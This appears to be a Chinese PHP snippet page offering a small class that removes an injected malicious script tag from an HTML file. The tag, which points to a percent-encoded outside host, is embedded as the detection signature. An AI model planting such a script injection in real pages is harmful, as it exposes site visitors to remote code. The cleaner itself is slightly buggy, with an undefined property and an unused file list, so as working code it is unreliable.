php 清除网页病毒的方法

yipeiwu_com6年前PHP代码库
<?php
Class clear_virus{
public $index ='b.html';
public $filepath =array('b.html');
public $virus_type ="<script src=http://%61%76%65%33%2E%63%6E></script>";
function open_file(){
if(file_exists($this->index)){
$tmp =file_get_contents($this->index);
if( strrpos($tmp,$this->virus_type)!== false){
$temp =str_replace($this->virus_type,'',$tmp);
$handle =fopen($this->index,'w');
fwrite($handle,$temp);
fclose($handle);
}else{
echo $this->virus_find;
}
}
}
}
$virus =new clear_virus;
$virus->open_file();
?>
清除script 病毒

相关文章

PHP 时间转换Unix时间戳代码

复制代码 代码如下:<?php date_default_timezone_set('Asia/Chongqing'); $time1 = "2006-04-16 08:40:54...

PHP文件上传判断file是否己选择上传文件的方法

本文实例讲述了PHP文件上传判断file是否己选择上传文件的方法。分享给大家供大家参考。具体方法如下: 一个合格的程序员在实现数据入库中时我们都会有一些非常严密的过滤与数据规则,像我们文...

学习php设计模式 php实现单例模式(singleton)

学习php设计模式 php实现单例模式(singleton)

保证一个类仅有一个实例,并且提供一个访问它的全局访问点。 单例模式有三个特点: 1、一个类只有一个实例 2、它必须自行创建这个实例 3、必须自行向整个系统提供这个实例 一、单例模式结构图...

PHP面向对象法则

你不必严格遵守这些原则,违背它们也不会被处以宗教刑罚。但你应当把这些原则看成警铃,若违背了其中的一条,那么警铃就会响起 。 ----- Arthur J.Riel   (1)所有数据都应...

php一些公用函数的集合

/*获得客户端ip地址*/     function getIP() {      &...